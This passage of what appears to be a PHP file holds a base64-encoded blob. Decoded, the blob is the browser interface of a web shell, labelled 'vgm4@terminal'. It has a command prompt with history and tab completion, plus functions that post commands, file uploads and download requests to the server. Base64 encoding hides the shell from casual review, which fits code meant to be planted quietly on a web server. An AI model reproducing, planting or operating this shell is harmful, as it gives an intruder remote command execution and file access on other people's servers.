XNbMF0pOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAgICAgX2luc2VydENvbW1hbmQoZVNoZWxsQ21kSW5wdXQudmFsdWUpOw0KICAgICAgICAgICAgICAgICAgICAgICAgX2luc2VydFN0ZG91dChkYXRhLmZpbGVzLmpvaW4oIlxuIikpOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgdmFyIGN1cnJlbnRDbWQgPSBlU2hlbGxDbWRJbnB1dC52YWx1ZS5zcGxpdCgiICIpOw0KICAgICAgICAgICAgICAgIHZhciB0eXBlID0gKGN1cnJlbnRDbWQubGVuZ3RoID09PSAxKSA/ICJjbWQiIDogImZpbGUiOw0KICAgICAgICAgICAgICAgIHZhciBmaWxlTmFtZSA9ICh0eXBlID09PSAiY21kIikgPyBjdXJyZW50Q21kWzBdIDogY3VycmVudENtZFtjdXJyZW50Q21kLmxlbmd0aCAtIDFdOw0KDQogICAgICAgICAgICAgICAgbWFrZVJlcXVlc3QoDQogICAgICAgICAgICAgICAgICAgICI/ZmVhdHVyZT1oaW50IiwNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgZmlsZW5hbWU6IGZpbGVOYW1lLA0KICAgICAgICAgICAgICAgICAgICAgICAgY3dkOiBDV0QsDQogICAgICAgICAgICAgICAgICAgICAgICB0eXBlOiB0eXBlDQogICAgICAgICAgICAgICAgICAgIH0sDQogICAgICAgICAgICAgICAgICAgIF9yZXF1ZXN0Q2FsbGJhY2sNCiAgICAgICAgICAgICAgICApOw0KDQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIGZ1bmN0aW9uIGZlYXR1cmVEb3dubG9hZChuYW1lLCBmaWxlKSB7DQogICAgICAgICAgICAgICAgdmFyIGVsZW1lbnQgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdhJyk7DQogICAgICAgICAgICAgICAgZWxlbWVudC5zZXRBdHRyaWJ1dGUoJ2hyZWYnLCAnZGF0YTphcHBsaWNhdGlvbi9vY3RldC1zdHJlYW07YmFzZTY0LCcgKyBmaWxlKTsNCiAgICAgICAgICAgICAgICBlbGVtZW50LnNldEF0dHJpYnV0ZSgnZG93bmxvYWQnLCBuYW1lKTsNCiAgICAgICAgICAgICAgICBlbGVtZW50LnN0eWxlLmRpc3BsYXkgPSAnbm9uZSc7DQogICAgICAgICAgICAgICAgZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChlbGVtZW50KTsNCiAgICAgICAgICAgICAgICBlbGVtZW50LmNsaWNrKCk7DQogICAgICAgICAgICAgICAgZG9jdW1lbnQuYm9keS5yZW1vdmVDaGlsZChlbGVtZW50KTsNCiAgICAgICAgICAgICAgICBfaW5zZXJ0U3Rkb3V0KCdEb25lLicpOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBmdW5jdGlvbiBmZWF0dXJlVXBsb2FkKHBhdGgpIHsNCiAgICAgICAgICAgICAgICB2YXIgZWxlbWVudCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2lucHV0Jyk7DQogICAgICAgICAgICAgICAgZWxlbWVudC5zZXRBdHRyaWJ1dGUoJ3R5cGUnLCAnZmlsZScpOw0KICAgICAgICAgICAgICAgIGVsZW1lbnQuc3R5bGUuZGlzcGxheSA9ICdub25lJzsNCiAgICAgICAgICAgICAgICBkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGVsZW1lbnQpOw0KICAgICAgICAgICAgICAgIGVsZW1lbnQuYWRkRXZlbnRMaXN0ZW5lcignY2hhbmdlJywgZnVuY3Rpb24gKCkgew0KICAgICAgICAgICAgICAgICAgICB2YXIgcHJvbWlzZSA9IGdldEJhc2U2NChlbGVtZW50LmZpbGVzWzBdKTsNCiAgICAgICAgICAgICAgICAgICAgcHJvbWlzZS50aGVuKGZ1bmN0aW9uIChmaWxlKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBtYWtlUmVxdWVzdCgnP2ZlYXR1cmU9dXBsb2FkJywge3BhdGg6IHBhdGgsIGZpbGU6IGZpbGUsIGN3ZDogQ1dEfSwgZnVuY3Rpb24gKHJlc3BvbnNlKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgX2luc2VydFN0ZG91dChyZXNwb25zZS5zdGRvdXQuam9pbigiXG4iKSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgdXBkYXRlQ3dkKHJlc3BvbnNlLmN3ZCk7DQogICAgICAgICAgICAgICAgICAgICAgICB9KTsNCiAgICAgICAgICAgICAgICAgICAgfSwgZnVuY3Rpb24gKCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgX2luc2VydFN0ZG91dCgnQW4gdW5rbm93biBjbGllbnQtc2lkZSBlcnJvciBvY2N1cnJlZC4nKTsNCiAgICAgICAgICAgICAgICAgICAgfSk7DQogICAgICAgICAgICAgICAgfSk7DQogICAgICAgICAgICAgICAgZWxlbWVudC5jbGljaygpOw0KICAgICAgICAgICAgICAgIGRvY3VtZW50LmJvZHkucmVtb3ZlQ2hpbGQoZWxlbWVudCk7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIGZ1bmN0aW9uIGdldEJhc2U2NChmaWxlLCBvbkxvYWRDYWxsYmFjaykgew0KICAgICAgICAgICAgICAgIHJldHVybiBuZXcgUHJvbWlzZShmdW5jdGlvbihyZXNvbHZlLCByZWplY3QpIHsNCiAgICAgICAgICAgICAgICAgICAgdmFyIHJlYWRlciA9IG5ldyBGaWxlUmVhZGVyKCk7DQogICAgICAgICAgICAgICAgICAgIHJlYWRlci5vbmxvYWQgPSBmdW5jdGlvbigpIHsgcmVzb2x2ZShyZWFkZXIucmVzdWx0Lm1hdGNoKC9iYXNlNjQsKC4qKSQvKVsxXSk7IH07DQogICAgICAgICAgICAgICAgICAgIHJlYWRlci5vbmVycm9yID0gcmVqZWN0Ow0KICAgICAgICAgICAgICAgICAgICByZWFkZXIucmVhZEFzRGF0YVVSTChmaWxlKTsNCiAgICAgICAgICAgICAgICB9KTsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgZnVuY3Rpb24gZ2VuUHJvbXB0KGN3ZCkgew0KICAgICAgICAgICAgICAgIGN3ZCA9IGN3ZCB8fCAifiI7DQogICAgICAgICAgICAgICAgdmFyIHNob3J0Q3dkID0gY3dkOw0KICAgICAgICAgICAgICAgIGlmIChjd2Quc3BsaXQoIi8iKS5sZW5ndGggPiAzKSB7DQogICAgICAgICAgICAgICAgICAgIHZhciBzcGxpdHRlZEN3ZCA9IGN3ZC5zcGxpdCgiLyIpOw0KICAgICAgICAgICAgICAgICAgICBzaG9ydEN3ZCA9ICLigKYvIiArIHNwbGl0dGVkQ3dkW3NwbGl0dGVkQ3dkLmxlbmd0aC0yXSArICIvIiArIHNwbGl0dGVkQ3dkW3NwbGl0dGVkQ3dkLmxlbmd0aC0xXTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgcmV0dXJuICJ2Z200QHRlcm1pbmFsOjxzcGFuIHRpdGxlPVwiIiArIGN3ZCArICJcIj4iICsgc2hvcnRDd2QgKyAiPC9zcGFuPiQiOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBmdW5jdGlvbiB1cGRhdGVDd2QoY3dkKSB7DQogICAgICAgICAgICAgICAgaWYgKGN3ZCkgew0KICAgICAgICAgICAgICAgICAgICBDV0QgPSBjd2Q7DQogICAgICAgICAgICAgICAgICAgIF91cGRhdGVQcm9tcHQoKTsNCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBtYWtlUmVxdWVzdCgiP2ZlYXR1cmU9cHdkIiwge30sIGZ1bmN0aW9uKHJlc3BvbnNlKSB7DQogICAgICAgICAgICAgICAgICAgIENXRCA9IHJlc3BvbnNlLmN3ZDsNCiAgICAgICAgICAgICAgICAgICAgX3VwZGF0ZVByb21wdCgpOw0KICAgICAgICAgICAgICAgIH0pOw0KDQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIGZ1bmN0aW9uIGVzY2FwZUh0bWwoc3RyaW5nKSB7DQogICAgICAgICAgICAgICAgcmV0dXJuIHN0cmluZw0KICAgICAgICAgICAgICAgICAgICAucmVwbGFjZSgvJi9nLCAiJmFtcDsiKQ0KICAgICAgICAgICAgICAgICAgICAucmVwbGFjZSgvPC9nLCAiJmx0OyIpDQogICAgICAgICAgICAgICAgICAgIC5yZXBsYWNlKC8+L2csICImZ3Q7Iik7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIGZ1bmN0aW9uIF91cGRhdGVQcm9tcHQoKSB7DQogICAgICAgICAgICAgICAgdmFyIGVTaGVsbFByb21wdCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzaGVsbC1wcm9tcHQiKTsNCiAgICAgICAgICAgICAgICBlU2hlbGxQcm9tcHQuaW5uZXJIVE1MID0gZ2VuUHJvbXB0KENXRCk7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIGZ1bmN0aW9uIF9vblNoZWxsQ21kS2V5RG93bihldmVudCkgew0KICAgICAgICAgICAgICAgIHN3aXRjaCAoZXZlbnQua2V5KSB7DQogICAgICAgICAgICAgICAgICAgIGNhc2UgIkVudGVyIjoNCiAgICAgICAgICAgICAgICAgICAgICAgIGZlYXR1cmVTaGVsbChlU2hlbGxDbWRJbnB1dC52YWx1ZSk7DQogICAgICAgICAgICAgICAgICAgICAgICBpbnNlcnRUb0hpc3RvcnkoZVNoZWxsQ21kSW5wdXQudmFsdWUpOw0KICAgICAgICAgICAgICAgICAgICAgICAgZVNoZWxsQ21kSW5wdXQudmFsdWUgPSAiIjsNCiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgICAgICAgICBjYXNlICJBcnJvd1VwIjoNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChoaXN0b3J5UG9zaXRpb24gPiAwKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgaGlzdG9yeVBvc2l0aW9uLS07DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZVNoZWxsQ21kSW5wdXQuYmx1cigpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVTaGVsbENtZElucHV0LnZhbHVlID0gY29tbWFuZEhpc3RvcnlbaGlzdG9yeVBvc2l0aW9uXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBfZGVmZXIoZnVuY3Rpb24oKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVTaGVsbENtZElucHV0LmZvY3VzKCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfSk7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICAgICAgY2FzZSAiQXJyb3dEb3duIjoNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChoaXN0b3J5UG9zaXRpb24gPj0gY29tbWFuZEhpc3RvcnkubGVuZ3RoKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICBoaXN0b3J5UG9zaXRpb24rKzsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChoaXN0b3J5UG9zaXRpb24gPT09IGNvbW1hbmRIaXN0b3J5Lmxlbmd0aCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVTaGVsbENtZElucHV0LnZhbHVlID0gIiI7DQogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVTaGVsbENtZElucHV0LmJsdXIoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlU2hlbGxDbWRJbnB1dC5mb2N1cygpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVTaGVsbENtZElucHV0LnZhbHVlID0gY29tbWFuZEhpc3RvcnlbaGlzdG9yeVBvc2l0aW9uXTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgICAgICAgICBjYXNlICdUYWInOg0KICAgICAgICAgICAgICAgICAgICAgICAgZXZlbnQucHJldmVudERlZmF1bHQoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGZlYXR1cmVIaW50KCk7DQogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIGZ1bmN0aW9uIGluc2VydFRvSGlzdG9yeShjbWQpIHsNCiAgICAgICAgICAgICAgICBjb21tYW5kSGlzdG9yeS5wdXNoKGNtZCk7DQogICAgICAgICAgICAgICAgaGlzdG9yeVBvc2l0aW9uID0gY29tbWFuZEhpc3RvcnkubGVuZ3RoOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBmdW5jdGlvbiBtYWtlUmVxdWVzdCh1cmwsIHBhcmFtcywgY2FsbGJhY2spIHsNCiAgICAgICAgICAgICAgICBmdW5jdGlvbiBnZXRRdWVyeVN0cmluZygpIHsNCiAgICAgICAgICAgICAgICAgICAgdmFyIGEgPSBbXTsNCiAgICAgICAgICAgICAgICAgICAgZm9yICh2YXIga2V5IGluIHBhcmFtcykgew0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKHBhcmFtcy5oYXNPd25Qcm9wZXJ0eShrZXkpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgYS5wdXNoKGVuY29kZVVSSUNvbXBvbmVudChrZXkpICsgIj0iICsgZW5jb2RlVVJJQ29tcG9uZW50KHBhcmFtc1trZXldKSk7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGEuam9pbigiJiIpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB2YXIgeGhyID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7DQogICAgICAgICAgICAgICAgeGhyLm9wZW4oIlBPU1QiLCB1cmwsIHRydWUpOw0KICAgICAgICAgICAgICAgIHhoci5zZXRSZXF1ZXN0SGVhZGVyKCJDb250ZW50LVR5cGUiLCAiYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIik7DQogICAgICAgICAgICAgICAgeGhyLm9ucmVhZHlzdGF0ZWNoYW5nZSA9IGZ1bmN0aW9uKCkgew0KICAgICAgICAgICAgICAgICAgICBpZiAoeGhyLnJlYWR5U3RhdGUgPT09IDQgJiYgeGhyLnN0YXR1cyA9PT0gMjAwKSB7DQogICAgICAgICAgICAgICAgICAgICAgICB0cnkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhciByZXNwb25zZUpzb24gPSBKU09OLnBhcnNlKHhoci5yZXNwb25zZVRleHQpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhbGxiYWNrKHJlc3BvbnNlSnNvbik7DQogICAgICAgICAgICAgICAgICAgICAgICB9IGNhdGNoIChlcnJvcikgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFsZXJ0KCJFcnJvciB3aGlsZSBwYXJzaW5nIHJlc3BvbnNlOiAiICsgZXJyb3IpOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfTsNCiAgICAgICAgICAgICAgICB4aHIuc2VuZChnZXRRdWVyeVN0cmluZygpKTsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgZG9jdW1lbnQub25jbGljayA9IGZ1bmN0aW9uKGV2ZW50KSB7DQogICAgICAgICAgICAgICAgZXZlbnQgPSBldmVudCB8fCB3aW5kb3cuZXZlbnQ7DQogICAgICAgICAgICAgICAgdmFyIHNlbGVjdGlvbiA9IHdpbmRvdy5nZXRTZWxlY3Rpb24oKTsNCiAgICAgICAgICAgICAgICB2YXIgdGFyZ2V0ID0gZXZlbnQudGFyZ2V0IHx8IGV2ZW50LnNyY0VsZW1lbnQ7DQoNCiAgICAgICAgICAgICAgICBpZiAodGFyZ2V0LnRhZ05hbWUgPT09ICJTRUxFQ1QiKSB7DQogICAgICAgICAgICAgICAgICAgIHJldHVybjsNCiAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICBpZiAoIXNlbGVjdGlvbi50b1N0cmluZygpKSB7DQogICAgICAgICAgICAgICAgICAgIGVTaGVsbENtZElucHV0LmZvY3VzKCk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfTsNCg0KICAgICAgICAgICAgd2luZG93Lm9ubG9hZCA9IGZ1bmN0aW9uKCkgew0KICAgICAgICAgICAgICAgIGVTaGVsbENtZElucHV0ID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNoZWxsLWNtZCIpOw0KICAgICAgICAgICAgICAgIGVTaGVsbENvbnRlbnQgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2hlbGwtY29udGVudCIpOw0KICAgICAgICAgICAgICAgIHVwZGF0ZUN3ZCgpOw0KICAgICAgICAgICAgICAgIGVTaGVsbENtZElucHV0LmZvY3VzKCk7DQogICAgICAgICAgICB9Ow0KICAgICAgICA8L3NjcmlwdD4NCiAgICA8L2hlYWQ+DQoNCiAgICA8Ym9keT4NCiAgICAgICAgPGRpdiBpZD0ic2hlbGwiPg0KICAgICAgICAgICAgPHByZSBpZD0ic2hlbGwtY29udGVudCI+DQogICAgICAgICAgICAgICAgPGRpdiBpZD0ic2hlbGwtbG9nbyI+DQpfXyAgICAgX19fX19fIF9fICBfXyBfICBfICAgICBfX19fICBfICAgICAgICAgICAgICAgICAgICAgIF8gICAgICAgICAgICAgXyA8c3Bhbj48L3NwYW4+DQpcIFwgICAvIC8gX19ffCAgXC8gIHwgfHwgfCAgIC8gX18gXHwgfF8gX19fIF8gX18gXyBfXyBfX18gKF8pXyBfXyAgIF9fIF98IHw8c3Bhbj48L3NwYW4+DQogXCBcIC8gLyB8ICBffCB8XC98IHwgfHwgfF8gLyAvIF9gIHwgX18vIF8gXCAnX198ICdfIGAgXyBcfCB8ICdfIFwgLyBfYCB8IHw8c3Bhbj48L3NwYW4+DQogIFwgViAvfCB8X3wgfCB8ICB8IHxfXyAgIF98IHwgKF98IHwgfHwgIF9fLyB8ICB8IHwgfCB8IHwgfCB8IHwgfCB8IChffCB8IHw8c3Bhbj48L3NwYW4+DQogICBcXy8gIFxfX19ffF98ICB8X3wgIHxffCAgXCBcX18sX3xcX19cX19ffF98ICB8X3wgfF98IHxffF98X3wgfF98XF9fLF98X3w8c3Bhbj48L3NwYW4+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgIFxfX19fLyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3Bhbj48L3NwYW4+DQogICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICA8L3ByZT4NCiAgICAgICAgICAgIDxkaXYgaWQ9InNoZWxsLWlucHV0Ij4NCiAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPSJzaGVsbC1jbWQiIGlkPSJzaGVsbC1wcm9tcHQiIGNsYXNzPSJzaGVsbC1wcm9tcHQiPnZnbTRAdGVybWluYWw6fiQgPC9sYWJlbD4NCiAgICAgICAgICAgICAgICA8ZGl2Pg0KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgaWQ9InNoZWxsLWNtZCIgbmFtZT0iY21kIiBvbmtleWRvd249Il9vblNoZWxsQ21kS2V5RG93bihldmVudCkiLz4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICA8L2Rpdj4NCiAgICA8L2JvZHk+DQoNCjwvaHRtbD4=")); ?>